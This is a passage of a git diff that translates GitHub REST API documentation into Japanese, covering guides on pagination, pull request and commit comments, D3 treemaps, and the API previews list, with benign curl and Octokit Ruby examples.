-(For more information on D3 tree map magic, check out [this simple tutorial][language API].)
+(D3ツリーマップの魔力をもっと詳しく知りたければ、[この簡単なチュートリアル][language API]を確認しましょう。)
 
-To wrap up, we pass this JSON information over to the same ERB template:
+仕上げに、このJSON情報を同じERBテンプレートに渡します。
 
 ``` ruby
 erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json}
 ```
 
-Like before, here's a bunch of JavaScript that you can drop
-directly into your template:
+前と同じように、テンプレートに直接放り込めるJavaScriptをご用意しました。
 
 ``` html
 <div id="byte_freq"></div>
@@ -362,19 +325,18 @@ directly into your template:
 </script>
 ```
 
-Et voila! Beautiful rectangles containing your repo languages, with relative
-proportions that are easy to see at a glance. You might need to
-tweak the height and width of your treemap, passed as the first two
-arguments to `drawTreemap` above, to get all the information to show up properly.
+これで一丁あがり! リポジトリの言語が書かれた美しい長方形です。大きさは言語の割合に比例していて、一目でわかりやすくなっています。 すべての情報を正しく表示するためには、上記`drawTreemap`の最初の2つの引数で、ツーマップの縦と横を調整する必要があるかもしれません。
 
 
 [D3.js]: http://d3js.org/
 [basics-of-authentication]: /rest/guides/basics-of-authentication
+[basics-of-authentication]: /rest/guides/basics-of-authentication
 [sinatra auth github]: https://github.com/atmos/sinatra_auth_github
 [Octokit]: https://github.com/octokit/octokit.rb
+[Octokit]: https://github.com/octokit/octokit.rb
 [D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/
-[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html 
+[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html
+[language API]: /rest/reference/repos#list-repository-languages
 [language API]: /rest/reference/repos#list-repository-languages
-[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs
 [new oauth application]: https://github.com/settings/applications/new
diff --git a/translations/ja-JP/content/rest/guides/traversing-with-pagination.md b/translations/ja-JP/content/rest/guides/traversing-with-pagination.md
index 4b13c46e3d..6086057e55 100644
--- a/translations/ja-JP/content/rest/guides/traversing-with-pagination.md
+++ b/translations/ja-JP/content/rest/guides/traversing-with-pagination.md
@@ -1,6 +1,6 @@
 ---
-title: Traversing with pagination
-intro: Explore how to use pagination to manage your responses with some examples using the Search API.
+title: ページネーションの詳細
+intro: Search API を使ったいくつかの例で、ページネーションを使用してレスポンスを扱うために方法を調べましょう。
 redirect_from:
   - /guides/traversing-with-pagination
   - /v3/guides/traversing-with-pagination
@@ -11,105 +11,75 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Traverse with pagination
+shortTitle: ページネーション付きのトラバース
 ---
 
-The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume.
-Most of the time, you might even find that you're asking for _too much_ information,
-and in order to keep our servers happy, the API will automatically [paginate the requested items](/rest/overview/resources-in-the-rest-api#pagination).
+The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume. ほとんどの場合は、要求している情報が_多すぎる_ということに気付くかもしれません。サーバーに負担をかけすぎないため、API は自動的に[リクエストされたアイテムをページネーション](/rest/overview/resources-in-the-rest-api#pagination)します。
 
-In this guide, we'll make some calls to the Search API, and iterate over
-the results using pagination. You can find the complete source code for this project
-in the [platform-samples][platform samples] repository.
+このガイドでは、 Search APIを呼び出し、ページネーションを使って結果を反復処理します。 このプロジェクトの完全なソースコードは、[platform-samples][platform samples]リポジトリにあります。
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Basics of Pagination
+## ページネーションの基本
 
-To start with, it's important to know a few facts about receiving paginated items:
+はじめに、ページネーションされたアイテムの受け取りについて、いくつかの事実を知っておくことが重要です。
 
-1. Different API calls respond with different defaults. For example, a call to
-[List public repositories](/rest/reference/repos#list-public-repositories)
-provides paginated items in sets of 30, whereas a call to the GitHub Search API
-provides items in sets of 100
-2. You can specify how many items to receive (up to a maximum of 100); but,
-3. For technical reasons, not every endpoint behaves the same. For example,
-[events](/rest/reference/activity#events) won't let you set a maximum for items to receive.
-Be sure to read the documentation on how to handle paginated results for specific endpoints.
+1. 呼び出す API によって、応答するデフォルト値が異なります。 [パブリックリポジトリのリスト化](/rest/reference/repos#list-public-repositories)を呼び出すと、ページネーションされて提供されるのは 1 セットで 30 アイテムですが、GitHub Search APIを呼び出すと 1 セットで 100 アイテムとなります。
+2. 受け取るアイテムの数は指定できます (最大 100 まで)。
+3. ただし、技術的な理由により、すべてのエンドポイントが同じ動作をするわけではありません。 たとえば、[イベント](/rest/reference/activity#events)では受け取るアイテム数の最大値を設定できません。 特定のエンドポイントにおけるページネーションされた結果の処理方法については、必ずドキュメントをお読みください。
 
-Information about pagination is provided in [the Link header](https://datatracker.ietf.org/doc/html/rfc5988)
-of an API call. For example, let's make a curl request to the search API, to find
-out how many times Mozilla projects use the phrase `addClass`:
+ページネーションに関する情報は、API呼び出しの[リンクヘッダ](https://datatracker.ietf.org/doc/html/rfc5988)に記載されています。 たとえば、検索APIにcurlでリクエストを行って、Mozilla プロジェクトで `addClass`というフレーズを何回使っているか調べましょう。
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla"
 ```
 
-The `-I` parameter indicates that we only care about the headers, not the actual
-content. In examining the result, you'll notice some information in the Link header
-that looks like this:
+`-I`パラメータは、実際のコンテンツではなくヘッダのみを扱うことを示します。 結果を調べると、Linkヘッダの中に以下のような情報があることに気付くでしょう。
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last"
 
-Let's break that down. `rel="next"` says that the next page is `page=2`. This makes
-sense, since by default, all paginated queries start at page `1.` `rel="last"`
-provides some more information, stating that the last page of results is on page `34`.
-Thus, we have 33 more pages of information about `addClass` that we can consume.
-Nice!
+さて、細かく見ていきましょう。 `rel="next"`には、次のページが`page=2`だと書かれています。 これは納得できる話です。というのも、デフォルトでは、すべてのページネーションされたクエリは`1`ページから始まります。`rel="last"`には追加情報があり、最後のページは`34`ページになると書かれています。 つまり、`addClass`で利用できる情報はあと33ページあるということですね。 よし！
 
-**Always** rely on these link relations provided to you. Don't try to guess or construct your own URL.
+提供されたこのリンク関係に**常に**依存しましょう。 URLを推測したり、自分で構築したりしないでください。
 
-### Navigating through the pages
+### ページ間の移動
 
-Now that you know how many pages there are to receive, you can start navigating
-through the pages to consume the results. You do this by passing in a `page`
-parameter. By default, `page` always starts at `1`. Let's jump ahead to page 14
-and see what happens:
+さて、受信するページ数がわかったので、ページを移動して結果の利用を開始できます。 これを行うには、`page`パラメータを渡します。 デフォルトでは、 `page`は常に`1`から始まります。 14ページまでジャンプして、どうなるか見てみましょう。
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14"
 ```
 
-Here's the link header once more:
+ここでもう一度リンクヘッダを見てみます。
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=15>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=1>; rel="first",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=13>; rel="prev"
 
-As expected, `rel="next"` is at 15, and `rel="last"` is still 34. But now we've
-got some more information: `rel="first"` indicates the URL for the _first_ page,
-and more importantly, `rel="prev"` lets you know the page number of the previous
-page. Using this information, you could construct some UI that lets users jump
-between the first, previous, next, or last list of results in an API call.
+予想通り`rel="next"`は15で、`rel="last"`は34のままです。 しかし今度は少し情報が増えています。`rel="first"`は、、_最初_のページのURLを示しています。さらに重要なこととして、`rel="prev"`は前のページのページ番号を示しています。 この情報を用いて、APIの呼び出しでリストの最初、前、次、最後にユーザがジャンプできるUIを構築できるでしょう。
 
-### Changing the number of items received
+### 受け取るアイテム数の変更
 
-By passing the `per_page` parameter, you can specify how many items you want
-each page to return, up to 100 items. Let's try asking for 50 items about `addClass`:
+`per_page`パラメータを渡すことで、各ページが返すアイテム数を最大100まで指定できます。 `addClass`について50アイテムを要求してみましょう。
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50"
 ```
 
-Notice what it does to the header response:
+ヘッダのレスポンスに何が起こるかに注目してください。
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=20>; rel="last"
 
-As you might have guessed, the `rel="last"` information says that the last page
-is now 20. This is because we are asking for more information per page about
-our results.
+ご想像の通り、`rel="last"`情報には、最後のページが20になったと書かれています。 これは、結果のページごとに、より多くの情報を要求しているからです。
 
-## Consuming the information
+## 情報の取得
 
-You don't want to be making low-level curl calls just to be able to work with
-pagination, so let's write a little Ruby script that does everything we've
-just described above.
+ページネーションを扱うためだけに低レベルのcurlを呼び出したくはないでしょうから、上記で説明したことをすべて行うような、ちょっとしたRubyスクリプトを書いてみましょう。
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and
-pass in our [personal access token][personal token]:
+いつものように、まずは[GitHub's Octokit.rb][octokit.rb] Rubyライブラリを読み込んで、[個人アクセストークン][personal token]を渡す必要があります。
 
 ``` ruby
 require 'octokit'
@@ -119,26 +89,16 @@ require 'octokit'
 client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
 ```
 
-Next, we'll execute the search, using Octokit's `search_code` method. Unlike
-using `curl`, we can also immediately retrieve the number of results, so let's
-do that:
+次に、Octokitの`search_code`メソッドを使用して、検索を実行します。 `curl`を使用する場合と異なり、結果の数をすぐ取得することもできるので、そうしてみましょう。
 
 ``` ruby
 results = client.search_code('addClass user:mozilla')
 total_count = results.total_count
 ```
 
-Now, let's grab the number of the last page, similar to `page=34>; rel="last"`
-information in the link header. Octokit.rb support pagination information through
-an implementation called "[Hypermedia link relations][hypermedia-relations]."
-We won't go into detail about what that is, but, suffice to say, each element
-in the `results` variable has a hash called `rels`, which can contain information
-about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're
-on. These relations also contain information about the resulting URL, by calling
-`rels[:last].href`.
+さて、リンクヘッダの `page=34>; rel="last"` 情報と同様に、最後のページ番号を取得しましょう。 Octokit.rb は、「[ハイパーメディアリンク関係][hypermedia-relations]」という実装を通じてページネーション情報をサポートしています。 それについて詳しくは扱いませんが、`results`変数の各要素には`rels`というハッシュがあり、そのハッシュには結果に応じて`:next`、`:last`、`:first`、`:prev`といった情報が含まれることだけ触れておけばここでは十分でしょう。 また、生成されるURLについての情報も含まれ、`rels[:last].href`を呼び出すことにより取得できます。
 
-Knowing this, let's grab the page number of the last result, and present all
-this information to the user:
+これがわかったら、最後の結果のページ番号を取得し、ユーザにすべての情報を表示しましょう。
 
 ``` ruby
 last_response = client.last_response
@@ -147,13 +107,7 @@ number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`,
-but instead, let's follow the `rels[:next]` headers to retrieve information from
-each page. For the sake of simplicity, let's just grab the file path of the first
-result from each page. To do this, we'll need a loop; and at the end of every loop,
-we'll retrieve the data set for the next page by following the `rels[:next]` information.
-The loop will finish when there is no `rels[:next]` information to consume (in other
-words, we are at `rels[:last]`). It might look something like this:
+最後に、結果を反復処理しましょう。 `for i in 1..number_of_pages.to_i`のループを使うこともできますが、ここでは`rels[:next]`ヘッダに従って、各ページから情報を取得します。 簡単にするため、各ページの最初の結果の、ファイルパスだけを取得します。 これを行うには、ループが必要です。そして各ループの最後で、`rels[:next]`情報に従って、次のページのデータセットを取得します。 取得する`rels[:next]`情報がなくなる (言い換えれば、`rels[:last]`に到着する) と、ループは終了します。 このようになるでしょう。
 
 ``` ruby
 puts last_response.data.items.first.path
@@ -163,9 +117,7 @@ until last_response.rels[:next].nil?
 end
 ```
 
-Changing the number of items per page is extremely simple with Octokit.rb. Simply
-pass a `per_page` options hash to the initial client construction. After that,
-your code should remain intact:
+Octokit.rb では、ページあたりのアイテム数を変更することは非常に簡単です。 `per_page` オプションのハッシュを初期クライアント構築に渡すだけです。 その後、コードはそのままになっているはずです。
 
 ``` ruby
 require 'octokit'
@@ -192,17 +144,15 @@ until last_response.rels[:next].nil?
 end
 ```
 
-## Constructing Pagination Links
+## ページネーションリンクの作成
 
-Normally, with pagination, your goal isn't to concatenate all of the possible
-results, but rather, to produce a set of navigation, like this:
+通常、ページネーションの目的は可能なすべての結果を連結することではなく、以下のようなナビゲーションを生成することです。
 
-![Sample of pagination links](/assets/images/pagination_sample.png)
+![ページネーションリンクのサンプル](/assets/images/pagination_sample.png)
 
-Let's sketch out a micro-version of what that might entail.
+ここで起こりそうなことを小さなモデルを使って描いてみましょう。
 
-From the code above, we already know we can get the `number_of_pages` in the
-paginated results from the first call:
+以下の最初の呼び出しでページネーションされた結果の`number_of_pages`を所得できることは、上記のコードからすでに知っています。
 
 ``` ruby
 require 'octokit'
@@ -221,7 +171,7 @@ puts last_response.rels[:last].href
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-From there, we can construct a beautiful ASCII representation of the number boxes:
+ここから、数値ボックスを美しい ASCII 文字で構築できます。
 ``` ruby
 numbers = ""
 for i in 1..number_of_pages.to_i
@@ -230,8 +180,7 @@ end
 puts numbers
 ```
 
-Let's simulate a user clicking on one of these boxes, by constructing a random
-number:
+ランダムな番号を生成して、このボックスのいずれかをクリックするユーザをシミュレートしてみます。
 
 ``` ruby
 random_page = Random.new
@@ -240,15 +189,13 @@ random_page = random_page.rand(1..number_of_pages.to_i)
 puts "A User appeared, and clicked number #{random_page}!"
 ```
 
-Now that we have a page number, we can use Octokit to explicitly retrieve that
-individual page, by passing the `:page` option:
+さて、ページ番号があるので、 `:page`オプションを渡すことにより、Octokitで各ページを明示的に取得できます。
 
 ``` ruby
 clicked_results = client.search_code('addClass user:mozilla', :page => random_page)
 ```
 
-If we wanted to get fancy, we could also grab the previous and next pages, in
-order to generate links for back (`<<`) and forward (`>>`) elements:
+もっと見栄えをよくしたければ、前のページと次のページも取得して、戻る (`<<`) と進む (`>>`) のリンクも生成できます。
 
 ``` ruby
 prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)"
@@ -258,9 +205,7 @@ puts "The prev page link is #{prev_page_href}"
 puts "The next page link is #{next_page_href}"
 ```
 
-[pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination
 [octokit.rb]: https://github.com/octokit/octokit.rb
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination
-[listing commits]: /rest/reference/commits#list-commits
diff --git a/translations/ja-JP/content/rest/guides/working-with-comments.md b/translations/ja-JP/content/rest/guides/working-with-comments.md
index 3b5736faea..bb517417c3 100644
--- a/translations/ja-JP/content/rest/guides/working-with-comments.md
+++ b/translations/ja-JP/content/rest/guides/working-with-comments.md
@@ -1,6 +1,6 @@
 ---
-title: Working with comments
-intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.'
+title: コメントを扱う
+intro: REST API を使用すると、プルリクエスト、Issue、およびコミットにある、コメントにアクセスして管理できます。
 redirect_from:
   - /guides/working-with-comments
   - /v3/guides/working-with-comments
@@ -15,27 +15,17 @@ topics:
 
 
 
-For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views:
-[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request,
-and [comments on a specific commit][commit comment] within the Pull Request. 
+各プルリクエストに対して、{% data variables.product.product_name %} は 3 種類のコメント表示を提供しています。プルリクエスト全体に対する[プルリクエストのコメント][PR comment]、プルリクエスト内の[特定行のコメント][PR line comment]、そしてプルリクエスト内の[特定のコメントへのコメント][commit comment]です。
 
-Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
-In this guide, we'll explore how you can access and manipulate each one. For every
-example, we'll be using [this sample Pull Request made][sample PR] on the "octocat"
-repository. As always, samples can be found in [our platform-samples repository][platform-samples].
+Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. このガイドでは、それぞれにアクセスして操作する方法を説明します。 各例では、"octocat" リポジトリで作成した、[このサンプルのプルリクエスト][sample PR]を使用します。 いつもと同様、サンプルは [platform-samples リポジトリ][platform-samples]にあります。
 
-## Pull Request Comments
+## プルリクエストのコメント
 
-To access comments on a Pull Request, you'll go through [the Issues API][issues].
-This may seem counterintuitive at first. But once you understand that a Pull
-Request is just an Issue with code, it makes sense to use the Issues API to
-create comments on a Pull Request.
+プルリクエストのコメントにアクセスするには、[Issues API][issues] を経由します。 最初はこれを意外に思うかもしれません。 しかし、プルリクエストがコード付きの Issue に過ぎないことさえ理解すれば、プルリクエストにコメントを作成するため Issues API を使うこともうなずけるでしょう。
 
-We'll demonstrate fetching Pull Request comments by creating a Ruby script using
-[Octokit.rb][octokit.rb]. You'll also want to create a [personal access token][personal token].
+ここでは [Octokit.rb][octokit.rb] を使って Ruby スクリプトを作成し、プルリクエストのコメントをフェッチする方法を示します。 また、[個人アクセストークン][personal token]の作成もおすすめします。
 
-The following code should help you get started accessing comments from a Pull Request
-using Octokit.rb:
+Octokit.rb を使ってプルリクエストからコメントにアクセスを始めるには、以下のコードが役立つでしょう。
 
 ``` ruby
 require 'octokit'
@@ -53,18 +43,13 @@ client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`),
-providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID
-we're interested in (`1176`). After that, it's simply a matter of iterating through
-the comments to fetch information about each one.
+ここでは、コメントを取得するため Issues API を 呼び出し (`issue_comments`)、取得したいコメントのリポジトリ名 (`octocat/Spoon-Knife`) とプルリクエスト ID (`1176`) の両方を指定しています。 その後は、コメントを反復処理して、各コメントの情報を取得しているだけです。
 
-## Pull Request Comments on a Line
+## 行につけるプルリクエストのコメント
 
-Within the diff view, you can start a discussion on a particular aspect of a singular
-change made within the Pull Request. These comments occur on the individual lines
-within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API].
+diff ビュー内では、プルリクエスト内の一つの変更について、特定の側面からディスカッションを開始できます。 これらのコメントは、変更されたファイル内の個々の行について書き込まれます。 このディスカッションのエンドポイントURLは、[Pull Request Review API][PR Review API] から取得されます。
 
-The following code fetches all the Pull Request comments made on files, given a single Pull Request number:
+以下のコードは、指定したプルリクエスト番号のファイルにあるプルリクエストのコメントすべてをフェッチします。
 
 ``` ruby
 require 'octokit'
@@ -84,19 +69,13 @@ client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-You'll notice that it's incredibly similar to the example above. The difference
-between this view and the Pull Request comment is the focus of the conversation.
-A comment made on a Pull Request should be reserved for discussion or ideas on
-the overall direction of the code. A comment made as part of a Pull Request review should
-deal specifically with the way a particular change was implemented within a file.
+上の例と非常に似ていることにお気づきでしょう。 このビューとプルリクエストのコメントとの違いは、会話の焦点にあります。 プルリクエストに対するコメントは、コードの全体的な方向性についてのディスカッションやアイデアを扱うべきです。 プルリクエストのレビューの一環として行うコメントは、ファイルで特定の変更が実装された方法について特に扱うべきです。
 
-## Commit Comments
+## コミットのコメント
 
-The last type of comments occur specifically on individual commits. For this reason,
-they make use of [the commit comment API][commit comment API].
+最後のタイプのコメントは、特に個々のコミットで発生します。 For this reason, they make use of [the commit comment API][commit comment API].
 
-To retrieve the comments on a commit, you'll want to use the SHA1 of the commit.
-In other words, you won't use any identifier related to the Pull Request. Here's an example:
+コミットのコメントを取得するには、コミットの SHA1 を使用します。 言い換えれば、プルリクエストに関する識別子は全く使用しません。 次に例を示します。
 
 ``` ruby
 require 'octokit'
@@ -114,8 +93,7 @@ client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a
 end
 ```
 
-Note that this API call will retrieve single line comments, as well as comments made
-on the entire commit.
+この API 呼び出しは、単一の行コメントと、コミット全体に対するコメントを取得することに注目してください。
 
 [PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792
 [PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889
diff --git a/translations/ja-JP/content/rest/index.md b/translations/ja-JP/content/rest/index.md
index 789e0c3023..b292765e5c 100644
--- a/translations/ja-JP/content/rest/index.md
+++ b/translations/ja-JP/content/rest/index.md
@@ -1,24 +1,24 @@
 ---
-title: GitHub REST API
+title: GitHubのREST API
 shortTitle: REST API
 intro: 'To create integrations, retrieve data, and automate your workflows, build with the {% data variables.product.prodname_dotcom %} REST API.'
 introLinks:
   quickstart: /rest/guides/getting-started-with-the-rest-api
 featuredLinks:
   guides:
-  - /rest/guides/getting-started-with-the-rest-api
-  - /rest/guides/basics-of-authentication
-  - /rest/guides/best-practices-for-integrators
+    - /rest/guides/getting-started-with-the-rest-api
+    - /rest/guides/basics-of-authentication
+    - /rest/guides/best-practices-for-integrators
   popular:
-  - /rest/overview/resources-in-the-rest-api
-  - /rest/overview/other-authentication-methods
-  - /rest/overview/troubleshooting
-  - /rest/overview/endpoints-available-for-github-apps
-  - /rest/overview/openapi-description
+    - /rest/overview/resources-in-the-rest-api
+    - /rest/overview/other-authentication-methods
+    - /rest/overview/troubleshooting
+    - /rest/overview/endpoints-available-for-github-apps
+    - /rest/overview/openapi-description
   guideCards:
-  - /rest/guides/delivering-deployments
-  - /rest/guides/getting-started-with-the-checks-api
-  - /rest/guides/traversing-with-pagination
+    - /rest/guides/delivering-deployments
+    - /rest/guides/getting-started-with-the-checks-api
+    - /rest/guides/traversing-with-pagination
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/ja-JP/content/rest/overview/api-previews.md b/translations/ja-JP/content/rest/overview/api-previews.md
index 7cd8e65bb0..b9388a8cab 100644
--- a/translations/ja-JP/content/rest/overview/api-previews.md
+++ b/translations/ja-JP/content/rest/overview/api-previews.md
@@ -1,6 +1,6 @@
 ---
-title: API previews
-intro: You can use API previews to try out new features and provide feedback before these features become official.
+title: API プレビュー
+intro: API プレビューを使用して新機能を試し、これらの機能が正式なものになる前にフィードバックを提供できます。
 redirect_from:
   - /v3/previews
 versions:
@@ -13,232 +13,210 @@ topics:
 ---
 
 
-API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API.
+API プレビューを使用すると、正式に GitHub API の一部になる前に、新しい API や既存の API メソッドへの変更を試すことができます。
 
-During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice.
+プレビュー期間中は、開発者からのフィードバックに基づいて機能を変更することがあります。 変更をする際には、事前の通知なく[開発者blog](https://developer.github.com/changes/)でアナウンスします。
 
-To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide.
+API プレビューにアクセスするには、リクエストの ` Accept` ヘッダー内でカスタムの[メディアタイプ](/rest/overview/media-types)を提供しなければなりません。 各プレビューの機能ドキュメントに、どのカスタムメディアタイプを提供するのかが示されています。
 
 {% ifversion ghes < 3.3 %}
 
-## Enhanced deployments
+## 強化されたデプロイメント
 
-Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity.
+より多くの情報と細かい粒度で、[デプロイメント](/rest/reference/repos#deployments)をより詳細に制御します。
 
-**Custom media type:** `ant-man-preview`
-**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
+**カスタムメディアタイプ:** `ant-man-preview` **発表日:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Reactions
+## リアクション
 
-Manage [reactions](/rest/reference/reactions) for commits, issues, and comments.
+コミット、Issue、コメントに対する[リアクション](/rest/reference/reactions)を管理します。
 
-**Custom media type:** `squirrel-girl-preview`
-**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/)
-**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
+**カスタムメディアタイプ:** `squirrel-girl-preview` **発表日:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **更新日:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Timeline
+## タイムライン
 
-Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request.
+Issue またはプルリクエストの[イベントのリスト](/rest/reference/issues#timeline)を取得します。
 
-**Custom media type:** `mockingbird-preview`
-**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
+**カスタムメディアタイプ:** `mockingbird-preview` **発表日:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
 
 {% endif %}
 
 {% ifversion ghes %}
-## Pre-receive environments
+## pre-receive 環境
 
-Create, list, update, and delete environments for pre-receive hooks.
+pre-receive フックの環境を作成、一覧表示、更新、削除します。
 
-**Custom media type:** `eye-scream-preview`
-**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
+**カスタムメディアタイプ:** `eye-scream-preview` **発表日:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
-## Projects
+## プロジェクト
 
-Manage [projects](/rest/reference/projects).
+[プロジェクト](/rest/reference/projects)を管理します。
 
-**Custom media type:** `inertia-preview`
-**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/)
-**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
+**カスタムメディアタイプ:** `inertia-preview` **発表日:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **更新日:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Commit search
+## コミット検索
 
-[Search commits](/rest/reference/search).
+[コミットの検索](/rest/reference/search)をします。
 
-**Custom media type:** `cloak-preview`
-**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
+**カスタムメディアタイプ:** `cloak-preview` **発表日:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Repository topics
+## リポジトリトピック
 
-View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results.
+リポジトリの結果を返す[呼び出し](/rest/reference/repos)で[リポジトリトピック](/articles/about-topics/)のリストを表示します。
 
-**Custom media type:** `mercy-preview`
-**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics)
+**カスタムメディアタイプ:** `mercy-preview` **発表日:** [2017-01-31](https://github.com/blog/2309-introducing-topics)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Codes of conduct
+## 行動規範
 
-View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently.
+すべての[行動規範](/rest/reference/codes-of-conduct)を表示するか、リポジトリに現在ある行動規範を取得します。
 
-**Custom media type:** `scarlet-witch-preview`
+**カスタムメディアタイプ:** `scarlet-witch-preview`
 
 {% endif %}
 
 {% ifversion ghae or ghes %}
 
-## Global webhooks
+## グローバル webhook
 
-Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for  [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}.
+[Organization](/webhooks/event-payloads/#organization) および[ユーザ](/webhooks/event-payloads/#user)イベントタイプの[グローバル webhook](/rest/reference/enterprise-admin#global-webhooks/) を有効にします。 この API プレビューは {% data variables.product.prodname_ghe_server %} でのみ使用できます。
 
-**Custom media type:** `superpro-preview`
-**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
+**カスタムメディアタイプ:** `superpro-preview` **発表日:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Require signed commits
+## 署名済みコミットの必須化
 
-You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches).
+これで、API を使用して、[保護されたブランチで署名済みコミットを必須にする](/rest/reference/repos#branches)ための設定を管理できます。
 
-**Custom media type:** `zzzax-preview`
-**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
+**カスタムメディアタイプ:** `zzzax-preview` **発表日:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Require multiple approving reviews
+## 複数の承認レビューの必須化
 
-You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API.
+API を使用して、プルリクエストに対して[複数の承認レビューを必須にする](/rest/reference/repos#branches)ことができるようになりました。
 
-**Custom media type:** `luke-cage-preview`
-**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
